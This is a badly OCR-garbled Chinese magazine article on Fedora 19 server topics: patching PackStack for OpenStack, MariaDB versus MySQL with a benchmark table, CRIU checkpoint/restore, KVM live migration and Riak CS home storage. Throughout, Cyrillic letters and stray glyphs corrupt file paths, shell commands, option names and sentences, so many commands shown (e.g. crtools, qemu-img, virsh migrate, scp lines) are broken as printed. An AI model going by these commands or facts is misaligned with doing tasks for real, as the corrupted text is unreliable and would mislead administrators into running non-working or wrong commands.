将 /usr/lib/python2.7/site-packages/packstack/ 
pp ”t/temb ates/novac ompt ер 文件 的 下 列 行 
(图 6 ) 注 解 挥 。 

Fedora 19 中 kvm.modules 文件 没有 用 ， 所 
以 将 其 删除 。 


(5) https://bugzilla.redhat.com/show bug.cgi?id=963198 


command => '/bin/sh /ес/ѕуѕсоп#1д/тоди[еѕ/ кут. тойи [еѕ' 


) 


С1аѕ5[' пома: : сотриїе!' 1-> Ехес[ "(оаа Кут" Ј 
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7 修改 xinetd 的 puppet 资 源 配 置 文件 
将 /usr/lib/python2.7/site-packages/packstack/ 
puppet/modules/xinetd/manifests/init.pp 文件 的 


restart => '/etc/init.d/xinetd 


reload', 





修改 为 


restart => 'systemctl reload xinetd', 





H Fedora 的 服务 管理 已 经 迁移 到 了 
systemd， 所 以 使 用 systemctl 命令 。 


Swift 的 环形 缓冲 区 ( ring buffer ) 脚本 

/usr/lib/python2.7/site-packages/packstack/ 
puppet/modules/swift/lib/puppet/provider/swift _ 
ring_builder.rb 文件 出 错 。 该 错误 在 Upstream 
模块 已 经 得 到 了 修改 ， 只 需 蔡 换文 件 ” 就 能 
回避 错误 。 





© 执行 packstack 


# packstack --allinone 





能 够 避免 在 执行 后 检测 到 某 个 错误 而 再 
次 执行 packstack 命 令 时 ， 因 将 执行 目录 中 生 
成 的 answer 文 件 作 为 参数 而 导致 密码 不 匹配 
等 问题 。 


# packstack --answer-file packstack- 


answers-YYYYMMDD-hhmmss. txt 





(А: (9) ÉI httpd но іа] ЕҢ T e 
puppet 而 无 法 回避 ， 因 此 如 采 出 现 httpd 无 法 
启动 的 错误 ， 请 忽视 它 。 


修改 httpd 
删 际 puppet 生 成 的 不 必要 的 目录 1 2 
httpd.conf。 





(6) https://github.com/stackforge/puppet-swift/commit/ee4a9d4 
8599bce332d0d7bdf4f8c0bbb6d9c6f2e 


# rm -rf /etc/httpd/mod.d /etc/httpd/ 
conf/httpd. соп? 
# cp -a ./httpd.conf /etc/httpd/conf/ 





中 设置 防火 墙 
Fedora 19 的 缺 省 防火 墙 是 frewalld， 因 此 
使 用 firewall-cmd 适 当地 允许 外 部 访问 。 
# firewall-cmd --permanent --add-port 
80/tcp 
# firewall-cmd --add-port 80/tcp 
如 果 想 试 试 将 防火 墙 设置 为 全 部 无 效 ， 请 
将 trusted zone 设置 为 缺 省 域 。 








# firewall-cmd --set-default-zone trusted 





E 能 到 底 还 是 能 

安装 结束 后 ， 应 该 会 自动 生成 keystonerc_ 
admin X |F, WR Æ V i H AI URL FI admin 
的 密码 。 不 过 还 是 不 能 从 容 地 说 声 Let's enjoy 
OpenStack ! 能 到 拱 是 能 ， 处 卉 还 是 很 艰难 ， 
这 是 个 能 把 你 训练 成 OSS 专家 的 玩意 儿 ， 尽 情 
FZE (E) 











СУ 作 为 服务 器 的 Fedora 19 





ш MySQL 问题 的 “简单 的 来 龙 去 脉 

MySQL 的 初始 开发 者 MySQLAB 被 Sun 
Microsystems 收购 ， 之 后 Sun Microsystems 又 
被 Oracle 收购 。 由 此 ，Oracle 把 MySQL 项 Н 
变 成 了 更 加 封闭 的 开发 体制 ， 大 家 担心 他 们 不 
会 再 提供 与 脆弱 性 相关 联 的 信息 和 完整 的 调 测 

言 息 ， 因 此 就 在 Fedora 19 中 将 MariaDB 变 为 
T “mysql” 的 缺 省 数据 库 。 

MariaDB 是 MySQLAB 的 创始 人 之 一 
Michael Widenius 开 发 的 MySQL 的 拷贝 项 目 ， 
Ej MySQL 以 及 APIABI 具 有 完全 互 换 性 ， 数 
据 库 引擎 也 与 MySQL 差不多。 
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E MySQL 怎 么 样 了 ? 

JE Fedora 19 FEH ушт MS E “mysql” 
的 话 ， 安 装 上 的 是 mariadb。 同 样 ， 所 安装 的 
服务 侣 包 “mysql-server ”也 是 mariadb-server。 

KIN, BRRR “mysql” W k 
Же community-mysql 包 ， 但 是 服务 需 包 方面 现在 
还 有 问题 ,如 果 安 装 community-mysql-server， 
则 需要 安装 它 所 依存 的 per-DBD-MySQL， 
为 解决 这 一 引用 关系 , 还 需要 安装 提供 
libmysqlclient.so.18 的 “mariadb-libs”。mariadb- 
libs 以 及 community-mysql-libs 包 安装 的 文件 如 
RIT Pie 

从 上 面 数 第 二 行 是 community-mysql-libs 
提供 的 库 ， 剩 下 的 几 行 都 是 mariadb-libs 提供 
НЧЕ. 

以 笔者 确认 的 范围 来 看 mariadb-libs 和 
community-mysql-server 混 在 的 状态 并 没有 什么 
大 问题 , 但 是 考虑 到 版 本 的 不 同 以 及 今后 两 首 
的 相互 关系 可 能 会 发 生变 化 ， 还 是 觉得 不 徘 谱 。 
而 且 将 /etc/yum.conf 设 置 为 exclude=mariadb* 
并 不 能 解决 引用 的 问题 , 因而 无 法 安装 
community-mysql-server。 想 要 不 安装 mariadb- 
libs 只 安装 community-mysql-server, 需要 修改 


perl-DBD-MySQL 的 spec 文 件 并 重新 编译 (图 8 )。 




















У 7 mariadb-libs、community-mysql-libs 包 安装 的 文件 


# ll /usr/lib64/mysql/ 
合计 5964 

[rwxrwxrwx. 1 root root 
so.1018.0.0 





E FELEDI Т; 
笔者 查看 了 包含 在 Fedora 19 的 安装 DVD 
里 的 引用 1libmysqlclient 的 RPM 包 , 发 现 所 
有 的 包 都 处 于 引用 mariadb-libs 的 状态 ， 而 没 
有 引用 community-mysqllibs 提供 的 库 。 
此 ， 迁 移 到 mariadb-libs 没 什么 问题 ， 但 是 不 
包含 在 DVD 里 的 包 ， 比 如 上 述 的 OpenStack 
的 PackStack 那 梓 ， 束 出 现 了 不 得 不 迁移 到 
mariadb 的 问题 。 当 然 ， 不 通过 PackStack 进行 
安 猴 的 话 就 能 够 解决 这 个 问题 ， 但 还 是 觉得 应 
该 先 考 虑 向 mariadb 迁移 的 问题 。 
说 是 这 么 说 ， 如 果 mariadb 只 是 保持 API/ 
ABI 的 互 换 性 ， 功 能 上 并 不 比 mysql 更 好 的 话 ， 
也 就 很 难 迁 移 到 mariadb。 这 里 ， 笔 者 试 着 执 
行 了 community-mysqgl-bench 包 的 /usr/share/sql- 
bench/run-all-tests (Æ 1 )。 包 的 版 本 等 信息 如 下 。 
e MySQL 
community-mysql-5.5.32-2 
community-mysql-server-5.5.32-2 


community-mysql-libs-5.5.32-2 
community-mysql-common-5.5.32-2 

















e MariaDB 
mariadb-5.5.31-4 
mariadb-server-5.5.31-4 
mariadb-libs-5.5.31-4 


26 ТВ 3 21:05 libmysqlclient.so.1018 -> libmysqlclient. В 


-rwxr-xr-x. 1 root root 2989608 6H 14 18:06 libmysqlclient.so.1018.0.0 


(гихгихгих. 1 root root 
so.18.0.0 


24 ТВ 3 21:04 libmysqlclient.so.18 -> libmysqlclient. 


-rwxr-xr-x. 1 root root 3114576 6H 19 18:58 libmysqlclient.so.18.0.0 


У 8 修改 perl-DBD-MySQL 的 spec 文 件 


BuildRequires: mariadb, mariadb-devel, zlib-devel 





BuildRequires: community-mysql, community-mysql-devel, zlib-devel 
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У 1 MariaDB 与 MySQL 的 标准 结 






MariaDB MySQL 


























Operation 

ATIS 4.00 FAQ 
alter-table 20.00 20.00 
big-tables 6.00 7.00 
соппесї 28.00 25.00 
сгеаїе 96.00 115.00 
insert 1375.00 1845.00 
select 119.00 107.00 
wisconsin 7.00 13.00 
TOTALS 1858.00 2463.00 








得 到 的 结果 不 是 严格 的 标准 结果 ， 只 能 
做 个 参考 ，MariaDB 的 SELECT 操 作 较 慢 , 但 
是 MariaDB 的 INSERT 操 作 却 快 很 多 。 在 连接 
不 缓冲 的 情况 下 ，MariaDB 的 connect 操 作 慢 
10%， 因 此 在 性 能 上 可 能 会 成 为 瓶颈 。 但 是 ， 
EZ E H] MariaDB 迁移 时 ， 这 并 不 会 被 视 为 
重大 问题 。 而 如 果 是 将 mysql 作 为 INSERT 操 
作 较 多 的 应 用 的 后 台 程 序 使 用 ， 则 值得 考虑 回 
MariaDB 迁移 。 


Checkpoint/Restore 


В 什么 是 Checkpoint / Restore? 

Checkpoint /Restore 从 2012 年 3 月 公布 的 
Linux 内 核 3.3 开 始 程序 合并 ,到 版 本 3.9 时 基 
本 上 已 经 合并 完毕 。Fedora 19 中 采用 了 内 核 
3.9，Checkpoint / Restore 所 必需 的 CONFIG 
CHECKPOINT RESTORE 等 内 核 的 设置 为 有 效 。 
另外 ， 用 户 空 间 将 OpenVZ 的 项 目 CRIU (http:// 
criu.org/Main_Page ) 的 成 果 作 为 Fedora 的 crtools 
包 与 Checkpoint /Restore 打 包 在 了 一 起 。 

Checkpoint / Restore 能 人 够 冻结 执行 中 的 
用 户 进 程 并 输出 到 文件 ， 通过 恢复 该 文件 来 
f Н P i Е. КУМ (Kernel-based Virtual 
Machine ) 等 已 经 实现 了 实时 迁移 (Live 
Migration )， 但 由 于 迁移 容 喜 只 是 将 进程 压 人 
分 区 ， 为 了 实现 相当 于 实时 迁移 的 功能 ， 还 是 
需要 Checkpoint / Restore。 

Checkpoint / Restore 的 其 他 用 途 还 有 : 将 
启动 费时 较 多 的 服务 以 启动 状态 保存 ， 从 而 能 




















4 


< 


够 在 需要 时 以 较 短 的 时 间 启 动 ， 以 及 在 远程 的 
IRI rE t (forko ) 进 程 等 。 


E 尝试 Checkpoint / Restore 
下 面 更 深入 地 介绍 一 下 包括 Fedora 19 中 





的 使 用 方法 在 内 的 内 容 。 要 使 用 Checkpoint/ 


Restore ， 需 要 安装 crtools 包 。 


# yum -y install crtools 








写 出 如 下 的 简单 脚本 并 赋 子 执行 权限 。 


# cat test.sh 

#!/bin/bash 

LANG=C 

while :; do 
echo $i:`date` 
sleep 1 

done 

# chmod +x test.sh 


这 个 脚本 在 命令 行 (shell ) 下 执行 时 ， 如 果 
在 crtools F H dump 观察 进程 的 各 种 信息 则 会 失 
败 。 这 是 由 于 crtools 与 执行 中 的 命令 行 有 共有 
资源 ， 因 此 需要 使 用 setsid 命 令 在 独立 状态 下 执 
行 ， 才 能 够 看 到 脚本 的 执行 并 查看 进程 ID。 














# setsid ./test.sh < /dev/null &> test.log & 

# ps -C test.sh 
PID ТТҮ 

2051 ? 


咎 直接 执行 crtools dump i S, MEA 
前 目录 内 创建 大 量 的 dump 结 果 文 件 ， 因 此 请 
准备 合适 的 目录 。crtools 命令 的 各 个 选项 请 使 
用 crtools -help 确认 。 这 里 的 重点 是 指定 dump 
的 对 象 进 程 的 -tPID 选 项 。crtools dump 命令 
执行 后 ， 要 确认 脚本 执行 结束 (图 9 )。 

这 里 ， 请 确认 脚本 重 定 问 的 文件 test.log 的 


TIME CMD 
00:00:00 test.sh 














45:Tue Jul 2 23:36:18 JST 2013 
46:Tue Jul 2 23:36:19 JST 2013 


47:Tue Jul 2 23:36:20 JST 2013 
48:Tue Jul 2 23:36:21 JST 2013 
49:Tue Jul 2 23:36:22 JST 2013 








ў 


аа 


MERE “ЕБ” 


下 面 从 dump 中 列 出 进程 并 确认 进程 ID ( 
10 ). 

іеѕі ов ЖИЛЕ АЕ T ШЕ? 第 49 行 到 第 S0 
行 之 间 大 约 经 过 了 3 分 钟 ， 但 序列 号 是 连续 的 ， 
可 见 进 程 被 恢复 运行 了 。 





49:Tue Jul 2 23:36:22 JST 2013 
50:Тие Jul 2 23:39:35 JST 2013 
51:Тие Jul 2 23:39:36 JST 2013 


52:Тие Jul 2 23:39:37 JST 2013 
53:Тие Jul 2 23:39:38 JST 2013 





上 述 的 例子 是 在 同一 台 机 硕 上 执行 的 ， 而 
如 果 把 必要 的 文件 (上 述 例子 中 的 testlog 文 件 ) 
传送 到 远程 的 机 天 上， 就 可 以 重新 局 动 进程 ， 
结果 和 在 同一 台 机 需 上 执行 一 样 。 但 是 发 送 端 
和 接收 端的 内 核 和 库 等 必须 是 同样 的 ， 否 则 恢 
复 运 行 的 进程 会 因为 segfault 错 误 而 停止 ， 请 
注意 这 一 点 。 

有 兴趣 的 读者 也 可 以 试验 一 下 代码 ,但 是 
最 好 还 是 先 读 一 下 CRIU 的 网 页 上 的 概要 说 明 
( http://criu.org/Checkpoint/Restore )。 





让 实时 迁移 成 为 可 能 | 


什么 是 实时 迁移 ? 
在 保持 虚拟 机 的 客户 端 OS 工作 的 状态 下 ， 


+” 9 生成 目录 并 执行 crtools dump 


# mkdir /tmp/test_dump 
# crtools dump -t 2051 -D /tmp/test_dump/ -vvv -o /tmp/dump.log && echo OK 


# ps -C test.sh 


PID TTY TIME CMD 


Уу 10 确认 进程 ID 





不 倩 助 共享 存储 着， 将 虚拟 机 的 内 存 和 硬盘 映 
像 移动 到 其 他 的 虚拟 机 上 ， 这 一 功能 从 gemu 
0.12 开 始 就 已 经 被 包含 在 内 ， 但 是 系统 性 能 和 
使 用 体验 并 不 算 太 好 。 而 Fedora 19 中 出 现 的 
新 功能 实时 迁移 就 解决 了 这 些 问题 。 





В 实时 迁移 的 机 制 

libvirt 接 收 到 迁移 指示 ，libvirt 在 接收 端 
的 机 器 上 启动 qemu,， 并 启动 NBD ( Network 
Block Device ) 服务 。 

接收 端 机 器 上 启动 NBD 服 务 ， 开 始 以 该 服 
务 器 作为 镜像 目的 机 的 驱动 镜像 任务 ， 镜 像 任 
务 稳 定 后 libvirt 发 出 migrate 命 令 。 传 送 结束 后 ， 
由 libvirt 停 止 接 收 端 机 器 上 执行 的 NBD 服务 。 














E 试 一 试 ! 

准备 两 台 安 装 了 Fedora 19 的 机 需 。 如 果 想 
在 一 台 机 器 上 试验 就 准备 Nested KVM 环 境 。 当 
然 , 其 中 任何 一 台 机 各 都 可 设置 为 能 够 使 用 
KVM 进 行 虚 拟 化 ,在 接收 问 机 需 上 安装 客户 端 
OS。 另 外 ， 请 确认 客户 端 OS 的 便 件 构成 在 接收 
问 机 着 上 也 能 使 用 。 例 如 ， 有 些 虚 拟 NIC 类 在 
接收 闹 机 奋 上 无 法 使 用 , 或 者 CPU 的 版 本 不 同等 。 

首先 要 在 接收 库 机 融 上 生成 ssh 的 密 铀 ， 
并 向 接收 端 机 器 传送 (图 11 )。 

下 面 在 发 送 端 机 硕 上 局 动 传 送 客户 闪 OS， 
确认 映像 文件 的 大 小 和 种 类 (图 12 )。 

然后 生成 在 接收 问 机 带 接 收 映 像 文件 的 “ 存 
HE” (stub ) 硬盘 映像 (图 13 )。 




















# crtools restore -D /ётр/&еѕї _ dump/ -d -t 2051 -vvv -o /tmp/restore.log && echo ОК 


# ps -C test.sh 
PID TTY 
2051 ? 


TIME CMD 
00:00:00 test.sh 





Red Hat Enterprise Linux 7 冲刺 阶段 中 的 Fedora 19 


最 后 停止 接收 问 机 器 的 防火 墙 ， 或 者 将 其 
设置 为 防火 墙 信 用 域 (trusted zone )。 


# firewall-cmd --set-default-zone trusted 





准备 工作 这 就 完成 了 ， 开 始 传送 吧 (图 14 )。 
传送 达到 100% 时 virsh 命令 就 结束 了 ， 可 





以 确认 接收 端 机 需 上 接收 到 的 客户 端 OS 正 在 





# virsh list -all 


[|11 


# ssh-keygen -t rsa 


Гэ 


ш 今后 会 这 样 友 展 吗 ? 

眼下 还 需要 事先 生成 存根 硬盘 映像 文件 ， 
期 待 今后 可 以 取消 这 个 限制 。 为 外 ， 对 于 动态 
防火 墙 frewalld， 应 用 (在 这 里 是 libvirtd ) 能 够 
通过 D-Bus 变更 防火 墙 的 规则 。 因 此 ， 只 需 在 
迁移 时 加 装 打 开 NBD 服务 的 端口 功能 ， 就 能 
够 兼顾 便利 性 和 安全 性 。 








在 接收 端 机 器 上 生成 ssh 的 密 钥 ， 并 向 接收 喘 机 器 传送 


# scp /root/.ssh/id_rsa.pub rootadestination.host:/root/.ssh/authorized_keys 





YEI ”确认 客户 端 05 和 映像 文件 的 大 小 及 种 类 


# virsh start fedora19 tobemigrated 


# qemu-img info /var/lib/libvirt/images/fedora19 tobemigrated.img 
image: /var/lib/libvirt/images/fedora19 tobemigrated.img 


file format: гам 
virtual size: 8.06 (8589934592 bytes) 
disk size: 8.06 


有 图 13 生成 存根 〈stub ) 硬 盘 映 像 文 件 








# qemu-img create -f гама /var/lib/libvirt/images/fedora19 tobemigrated.img 86 


有 图 14 传达 


# mkdir /tmp/t# virsh migrate --verbose --p2p --copy-storage-all --live fedora19 tobemigrated qemutssh:// Е 


destination.host/system 


Е: [100 %] PID TTY TIME CMD 





4 
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有 想 过 人 在 目 己 家 里 也 拥有 一 个 AWS S3 吗 ? 5X} 


Storage ， 云 存储 )。 





a" Riak CS 解决 的 问题 。 


在 秋 叶 原 买 来 各 种 部 件 ， 组 逆 好 服务 融 ， 





搭建 好 文件 服务 器 ， 运 行 了 差 不 过 1 年 后 ， 某 
天 由 于 磁盘 故障 丢失 了 数据 ， 接 着 开始 学 习 数 
据 备份 ， 然 后 就 逐渐 了 解 了 软件 RAID 、ZFS 和 
LVM: (笔者 想当然 地 认为 ) 这 是 每 个 计算 机 
技术 人 员 的 必 经 之 路 。 疾 着 再 次 搭建 RAID、 制 
作 LVM， 之 后 却 因为 不 知道 哪 块 物理 磁盘 坏 抒 
而 又 丢失 了 数据 …… 不 知 不 觉 间 这 已 经 是 很 久 
远 的 事 了 吧 。 

但 是 如 今 很 多 大 文件 也 可 以 简单 地 在 云 P 
上 进行 备份 了 。 不 论 是 怎样 的 文件 ， 只 要 支付 
个 人 能 承受 的 费用 ， 就 可 以 把 TB 级 别 的 数据 放 
置 在 云端 了 。 对 于 觉得 在 家 里 维护 服务 器 很 麻 
烦 的 人 来 说 ， 这 应 该 是 一 件 很 开心 的 事 吧 。 

在 讨论 云 这 个 词 的 时 候 可 能 很 少 会 提 及 ， 
按照 家 庭 用 的 互联 网 合同 ， 日 本 绝 大 多 数 的 
ISP 包 都 存在 着 一 定 的 上 传 限 制 。 比 如 ， 限 制 每 
天 可 上 传 的 流量 、 对 于 流量 超标 的 用 户 限制 带 
宽 等 。 这 个 在 互联 网 的 架构 上 是 没有 办 法 的 ， 
因为 下 行 流量 便宜 ， 上 行 流 量 收费 是 ISP 的 传 
统 商 业 模 式 。 





















































分 布 式 数据 库 “ 未 来 工房 ” 











GD 本 文中 的 “ 云 ” 是 指 “ 云 存储 ”， 而 非 IJaaS Paas 等 。 
(2) Internet Service Provider， 即 因特网 服务 提供 商 。 
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使 用 Riak CS 在 自己 家 里 备份 
| 一 一 关于 安装 与 设置 


文 / 上 西康 太 ( Basho Japan 股 份 有 限 公 司 kota@basho.com ) 


ТЕ / 7015 


等 介绍 一 个 使 之 成 为 可 能 的 软件 一 -Riak CS( Cloud 


因此 ， 对 于 拥有 几 十 GB 的 数据 ， 并 且 会 频 
繁 地 访问 、 更 新 这 些 数据 的 人 来 说 ， 在 云 上 存 
储 数据 是 一 个 不 太 现 实 的 事 。 

但 对 于 习惯 维护 家 里 的 服务 器 ,或 者 拥有 
的 数据 量 要 是 存储 在 云 上 会 花费 巨额 费用 的 用 
户 来 说 ， 云 的 壁垒 则 有 点 高 ， 还 是 要 在 家 里 拱 
建 存 储 来 保存 数据 。 

但 是 ， 在 家 里 搭建 维护 存储 也 是 一 件 非 常 
麻烦 的 事 。 

本 文中 将 介绍 一 个 能 够 解决 这 一 问题 的 软 
件 一 一 Riak CS @。 

Riak CS 正如 它 的 名 字 那 样 ， 是 一 个 云端 存 
储 的 软件 。 通 过 使 用 Riak CS， 大 部 分 硬件 故障 
都 可 以 以 很 少 的 运 维 工作 得 到 处 理 ， 并 且 它 拥 
有 几乎 可 以 无 限 扩展 的 存储 空间 , 不 会 丢失 数据 ， 
可 以 长 久 地 提供 服务 。 

Riak CS 的 大 概 的 原理 是 ， 将 用 户 的 管理 信 
息 、 分 割 为 块 ( Chunk ) 的 对 象 ， 以 及 所 有 元 数 
据 都 只 在 Riak 里 保存 。 因 此 ,使 用 Riak CS 就 
可 以 有 量 受 Riak 的 所 有 优点 。 换 句 话 说，Riak CS 
不 需要 除 Riak 以 外 的 其 他 数据 库 来 保存 元 数据 ， 
Riak CS 目 己 也 不 在 内 部 保存 任何 数据 。Riak 上 
的 Riak CS 就 像 是 HTTP 的 应 用 服务 器 一 样 运行 
着 。 因 此 ，Riak CS 的 进程 的 维护 也 很 简单 。 
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(3) http://docs.basho.com/riakces/latest/ 
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Amazon S3 虽然 是 去 存储 ， 但 它 只 有 HTTP 
和 HTTPS 接 口 ， 以 前 的 存储 所 拥有 的 SCSI 和 
InfiniBand 这 些 接 口 它 都 不 支持 。 通 过 采用 非 
iSCSI 的 Restful НТТР 的 形式 ， 大 幅 降 低 了 客户 





УА ЯК РЁ 

因此 ， 很 多 用 户 自 己 开 发 了 S3 的 客户 端 和 
可 禾 盖 多 种 用 例 的 库 。 这 个 生态 系统 中 具有 代 
表 性 的 S3 РР: 

• Зета 


* dragondisk 
• boto 


还 有 很 多 企业 、 个 人 公开 了 无 数 个 客户 问 。 
这 些 软件 可 以 直接 在 RiakCS 上 运行 ©, 用 户 也 可 
以 随意 使 用 。 这 里 我 们 介绍 一 下 DragonDisk@。 
© nf DE Windows, Mac OS 
X, Linux 上 使 用 的 S3 的 GUI 客户 端 。 通 过 在 


DragonDisk 





窗口 左右 的 面板 之 间 进 行 拖 放 ， 就 可 以 复制 文 
件 和 目录 (图 1 )。 

另外 也 有 各 种 SDK， нр С, СЁ, PHP, Ruby, 
Java 等 几乎 所 有 的 语言 中 ， 通 过 REST API 即 可 
使 用 Riak CS。 





A 进程 组 成 及 系统 设计 











PN 进程 组 成 


KAR, Riak CS 是 把 文件 分 割 为 1MB 
大 小 的 块 ， 并 把 块 存 储 在 Riak 上 的 应 用 服务 需 
Riak CS 系统 是 由 3 种 进程 组 成 的 (图 2 )。 


© Riak 
被 分 割 的 对 象 的 数据 、 对 象 的 元 数据 、 用 


使 用 Riak CS 在 自己 家 里 备份 





(4) disclaimer:Riak CS 中 有 并 没有 被 安装 的 API， 所 以 无 法 
保证 所 有 内 容 都 可 工作 。 

(5) http://www.dragondisk.com/ 

(6) http://docs.basho.com/riakcs/1.3.1/cookbooks/configuration/ 
Configuring-DragonDisk/ 
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户 信 息 ， 以 及 所 有 的 数据 都 在 此 保存 。 数 据 量 
增加 的 时 候 ， 只 要 增加 Riak 的 市 点 束 可 以 了 。 


© Riak CS 

接收 从 客户 问 发 来 的 HTTP 请 求 ,进行 用 
PUHE, 对象 的 生成 、 删 除 、 读 取 等 工作 。 就 
像 一 台 每 次 接收 到 客户 端的 请 求 后 就 对 Riak 执 
行 谈 出 、 写 人 操作 的 应 用 服务 硕 一 样 。 生 成 用 户 、 
生成 或 删除 bucket 的 时 候 ， 会 访问 Stanchion。 
由 于 数据 都 保存 在 Riak， 因 此 这 个 进程 可 以 随 
时 进行 启动、 停止 或 增加 的 操作 。 

如 果 是 在 目 己 家 里 使 用 , 因为 流量 不 会 很 大 ， 
只 要 一 个 Riak C 进 程 就 足够 了 。Riak CS 的 进 
程 只 有 一 个 的 话 ， 图 2 中 的 负载 均衡 器 也 不 需 
ЕГ» 

















УЕ 1 通过 在 Windows 下 使 用 DragonDisk， 就 可 以 使 用 
GUI 来 访问 Riak CS 


Мате “ге Туре Ое гоа Name 
о о 
„| еы Document 12/20/2002 2265. || 于 еше 
2 комеди об Ти кеннен цун 2. | аймийон.ра 
е rp 2? > еи trt А 


У 2 ”Riak CS 进程 组 成 图 
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@ Stanchion 

蒜 担 用 户 的 生成 、 桶 (bucket ) 的 生成 和 删 
除 等 需要 较 强 的 一 致 性 的 操作 。 因 为 操作 必须 
序列 化 ， 所 以 需要 在 每 个 CS 集群 只 局 动 一 个 进 
程 。 由 于 数据 都 保存 在 Riak 上 ， 因 此 这 个 进程 
可 以 随时 进行 启动 、 俘 止 的 工作 。 

Stanchion 只 能 局 动 一 个 进程 ， 所 以 元 余 化 
就 比较 困难 。 但 即使 Stanchion 人 停止 了 ， 也 只 是 
不 能 进行 用 户 和 bucket 的 生成 、 删 除 工 作 ， 其 
他 的 基本 数据 操作 还 是 可 以 的 。 因此 ， 在 自己 
家 里 运行 时 ， 为 了 不 增加 成 本 ， 可 以 把 这 个 进 
程 跑 在 Riak CS 等 所 在 的 同一 人 台 机 融 上 。 
容量 设计 与 维护 费用 

存储 系统 中 最 重要 的 是 性 价 比 。 由 于 Riak 
中 有 合并 (compaction )， 各 个 节点 的 数据 分 区 
保留 20% 左 右 的 余 量 是 必须 的 。 另外， 为 了 把 
数据 保存 3 份 ， 假 设 需要 存储 30TB 的 数据 ， 则 
实际 的 可 用 容量 ， 








30TB x 3 x ziy = 112.5ТВ 
大 约 需 要 保证 120TB 的 人 硬盘 。 以 每 个 硬盘 3TB 
来 算 ， 需 要 准备 40 块 。 普 通 的 AIX 主板 有 6 个 
SATA 接口 ， 可 以 算出 大 致 需 要 7 台 各 插 上 6 块 
3TB Л ЛЛ o 

但 是 ，Riak 的 最 低 启 动人 台数 为 5 台 ， 如 果 
因为 最 初 需要 的 容量 小 就 只 准备 2、3 台 的 话 ， 
那么 多 个 故障 的 情况 下 将 有 丢失 数据 的 危险 ， 
请 一 定 要 注意 。 

把 30TB 的 数据 保存 在 Amazon S3 上 ， 每 个 
月 为 10 日 元 /GB， 即 使 不 读 取 数据 ， 每 月 也 需 
要 30 万 日 元 的 费用 。 另 一 方面 ,7 台 服 务 器 的 
话 ， 努 力 一 下 可 以 把 初始 费用 控制 在 70 万 日 元 
左右 。 虽 然 长 期 运行 7 台 服 务 器 的 电费 以 及 空 
调 费 可 能 是 一 笔 不 小 的 开销 , 但 是 通过 利用 各 
种 省 电 功 能 ， 或 者 在 长 时 间 不 用 的 时 候 关 闭 电 




















D 东京 区 域 的 标准 价格 为 $0.010， 所 以 简单 地 将 1 美金 换 
算 为 了 100 日 元 。 





源 等 方式 ， 还 是 可 以 控制 住 费 用 的 。 
要 想得到 更 高 的 性 价 比 ， 也 可 以 选择 将 复 








制 数 从 3 降 到 2 的 架构 。 这 个 时 候 所 需 的 人 硬盘 大 
小 为 
l 
ЗОТВ x 2 x 080 > 75.0ТВ 


需要 的 人 硬盘 数量 大 致 降 到 了 原来 的 2/3。 但 减少 
复制 数 的 时 候 有 一 些 事 项 必须 要 注意 ， 虽 然 不 





会 因为 故障 而 导致 数 据 丢 失 ， 但 还 是 会 损失 一 
定 的 可 用 性 。 








л" 系统 的 维护 








有 一 句 名 言说 道 : “世界 上 只 有 两 种 计算 机 。 
已 经 坏 了 的 计算 机 和 还 没 坏 的 计算 机 ? 久 。 不 光 
是 发 生 故 障 的 时 候 ， 硬 件 升级 等 情况 下 也 需要 
进行 替换 。 只 要 注意 两 点 ，Riak CS 中 就 可 以 非 
常 简单 地 进行 硬件 的 替换 。 这 两 点 就 是 : 





1. 必须 同 时 只 有 一 个 Stanchion 进程 在 运行 
2. 因 为 备份 有 3 份 ， 所 以 不 要 同时 关闭 3 人 台 
机 器 





在 维护 的 过 程 中 只 要 还 守 这 两 点 ， 数 据 承 不 会 
丢失 或 损坏 。 

Riak CS 上 自己 不 在 本 地 保存 数据 ， 因 此 这 里 
主要 说 明 Riak 的 维护 。 

\ 节点 增加 

如 果 数 据 多 了 起 来 ， 只 要 增加 Riak т д А 
行 了 。 流 程 非常 简单 ， 在 安装 、 配 置 ( 稍 后 说 明 ) 
Riak 和 Riak CS 后 ， 输 入 如 下 命令 就 行 了 。 
$ sudo riak start 


$ sudo riak-admin cluster join В 
riaka10.0.0.1 


$ sudo riak-admin cluster plan 


$ sudo riak-admin cluster commit 








ER EE МП PAR ВС НЕ ENRE PA BANA , 
Hr LIA HI REEE RR ICE WSKR o 


riak@10.0.0.1 是 给 已 在 运行 的 Riak 指 定 一 
个 名 字 ( 和 名 字 已 在 各 个 机 顺 的 /etc/riak/vm.args 
E) 执行 完 这 命令 后 ， 就 会 自动 进行 数据 的 再 
配置 。 如 采 需 要 增加 多 台 机 器， 只 要 在 各 个 市 
点 上 执行 到 join 为 止 的 命令 ,最 后 在 某 一 个 市 
点 上 执行 plan 和 commit 命 令 就 行 了 。 

JIN 硬件 蔡 换 

在 Riak 的 设计 中 ， 服 务 顺 如果 有 故障 可 以 
很 方便 地 进行 蔡 换 。 基 本 上 ， 蔡 换 故 障 部 件 后 ， 
根据 需要 重新 安装 并 再 次 加 入 集群 就 行 了 。 

在 硬盘 故障 导致 数据 丢失 的 情况 下 ， 如 末 
是 存放 数据 的 人 硬盘 出 了 故障 ,但 不 影响 OS 等 
的 话 ， 只 要 把 人 硬盘 蔡 换 后 再 启动 就 行 了 。 名 为 
ring 的 目录 记录 了 集群 的 成 员 关 系 ， 如 果 这 个 
还 在 ， 就 可 以 直接 使 用 。 

便 盘 以 外 的 故障 的 情况 下 ,数据 没有 于 
失 一 一 这 里 的 数据 指 的 是 Riak 的 app.cong 里 指 
定 的 各 种 数据 保存 路 径 。 特 别 是 storage backend 
指定 的 数据 目录 (Riak CS 的 各 种 元 数据 和 对 象 
的 数据 等 ) 里 存储 的 数据 。 

如 有 果 沉 得 繁琐 的 操作 太 困 难 ， 可 以 将 其 当 
作 一 台新 的 机 融 重 新 安装 。 这 个 时 候 尽 量 分 配 
一 个 新 的 他 地址 ， 或 在 增加 市 点 前 进行 如 下 
设置 。 





























$ sudo riak-admin down riaka10.0.0.1 
$ sudo riak-admin force-remove Е 
Fiak010.0.0.1 


$ sudo riak-admin plan 


$ sudo riak-admin commit 


事先 把 节点 从 集群 中 移 除 。 

Riak, Riak CS 在 网 络 有 故障 时 ， 也 可 以 使 
用 能 够 被 访问 的 部 分 继续 运行 。 具 体 来 说 ， 只 
要 数据 能 被 访问 ，GET 方 法 就 能 执行 ， 而 PUT 
方法 则 几乎 都 能 执行 9. 

这 是 因为 , Riak 对 CAP 定 理 中 的 A( 可 用 性 ) 
非常 重视 。 使 用 其 他 重视 C( 一 致 性 ) 的 数据 库 





© 只 有 用 户 的 生成 等 通过 Stanchion 实现 的 需要 较 强 一 致 性 
